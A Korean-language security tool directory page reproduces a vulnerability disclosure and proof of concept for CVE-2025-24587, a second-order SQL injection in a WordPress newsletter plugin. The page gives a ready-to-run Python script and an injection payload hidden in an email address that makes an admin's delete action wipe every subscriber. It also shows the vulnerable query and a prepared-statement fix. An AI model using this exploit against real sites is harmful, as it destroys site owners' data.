Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-24587 — CVE-2025-24587의 PoC | Kitploit
도구/GitHubGitHub/dottak/cve-2025-24587
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubdottak/cve-2025-24587

CVE-2025-24587

CVE-2025-24587의 PoC

저장소 보기
11년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-24587

1️⃣ 컴포넌트 유형

WordPress 플러그인

2️⃣ 컴포넌트 세부 정보

컴포넌트 이름 Email Subscription Popup

취약한 버전 <= 1.2.23

컴포넌트 슬러그 email-subscribe

컴포넌트 링크 https://wordpress.org/plugins/email-subscribe/

3️⃣ OWASP 2017: TOP 10

취약점 클래스 A3: 인젝션

취약점 유형 SQL 인젝션

4️⃣ 사전 요구 사항

인증되지 않음

5️⃣ 취약점 세부 정보

👉 간단한 설명

인증되지 않은 사용자(공격자)는 SQL 인젝션 페이로드가 포함된 이메일 주소를 사용하여 뉴스레터를 구독합니다. 이후 관리자가 "구독자 관리" 페이지로 이동해 악성 이메일 주소를 선택하고 삭제를 요청하면, 이메일 주소에 포함된 SQL 인젝션 페이로드가 실행됩니다. 그 결과 데이터베이스에 구독된 모든 이메일 주소가 삭제됩니다.

👉 재현 방법(PoC)

  1. "Email Subscription Popup" 플러그인(버전 ≤ 1.2.23)이 활성화된 WordPress 사이트를 준비합니다.
  2. 첨부된 poc.py.txt 파일을 Python으로 실행하여 SQL 인젝션 취약점을 트리거하는 페이로드가 포함된 이메일 주소로 뉴스레터를 구독합니다:
    • 이메일 주소: '/**/OR/**/1=1#@a.a
    • 참고: 이 이메일 주소로는 유효성 검사 때문에 클라이언트(브라우저)를 통한 구독이 불가능합니다. 대신 poc.py.txt에 표시된 대로 HTTP 요청 패킷을 직접 전송하십시오.
  3. 관리자로 로그인하고 다음 주소로 이동합니다: http://localhost:8080/wp-admin/admin.php?page=email_subscription_popup_subscribers_management.
  4. 이메일 주소 '/****/**OR**/****/1=1#@a.a를 선택하고 하단의 "선택한 구독자 삭제" 버튼을 클릭합니다.
  5. 그 결과 구독된 모든 이메일 주소가 삭제됩니다.

👉 추가 정보(선택 사항)

[취약점 원인]

이 취약점은 wp-content/plugins/email-subscribe/wp-email-subscription.php 파일의 2080~2084행에서 발생합니다:

root@kitploit:~
# wp-content/plugins/email-subscribe/wp-email-subscription.php 의 
# line 2083 ~ line 2084
$query = "delete from  " . $wpdb->prefix . "nl_subscriptions where email='$em'";
$wpdb->query($query);

이 문제를 해결하려면 WordPress에서 제공하는 $wpdb->prepare()를 사용할 수 있습니다. 이 함수는 SQL 쿼리에 사용되는 변수를 안전하게 이스케이프하고 형식화하여 SQL 인젝션 공격을 방지합니다.

root@kitploit:~
$query = $wpdb->prepare(
    "DELETE FROM " . $wpdb->prefix . "nl_subscriptions WHERE email = %s",
    $em
);
$wpdb->query($query);

⭐ PoC 코드

root@kitploit:~
import re
import string
import random
import requests

TARGET = "http://localhost:8080"

def poc():

    ####
    # 1. Retrieve the value of 'sec_string' required for email subscription
    ####
    resp = requests.get(f"{TARGET}")
    pattern = r'var nonce = \'(.{10})\';'
    match = re.search(pattern, resp.text)
    if match:
        sec_string = match.group(1)
        print("[*] sec_string: " + sec_string)
    
        ####
        # 2. Generate subscribers with random email addresses
        ####
        random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=6))
        for i in range(10):
            data = {
                "action": "store_email",
                "email": f"{random_string}_{i}@example.com",
                "name": f"{random_string}_{i}",
                "is_agreed": "true",
                "sec_string": sec_string
            }
            print("[+] Successfully created subscriber #" + str(i) + " Email: " + data['email'] + ", Name: " + data['name'])
            requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
        
        ####
        # 3. Create a malicious email address to delete all subscriptions
        ####
        data = {
            "action": "store_email",
            "email": "'/**/OR/**/1=1#@a.a",
            "name": "Email mine",
            "is_agreed": "true",
            "sec_string": sec_string
        }
        print("[+] Malicious email address created Email: " + data['email'] + ", Name: " + data['name'])
        requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
    else:
        print("[-] 'sec_string' not found")
    

if __name__ == "__main__":
    poc()

6️⃣ 익스플로잇 데모

video

7️⃣ 참고 자료

  • https://nvd.nist.gov/vuln/detail/CVE-2025-24587
도구 다운로드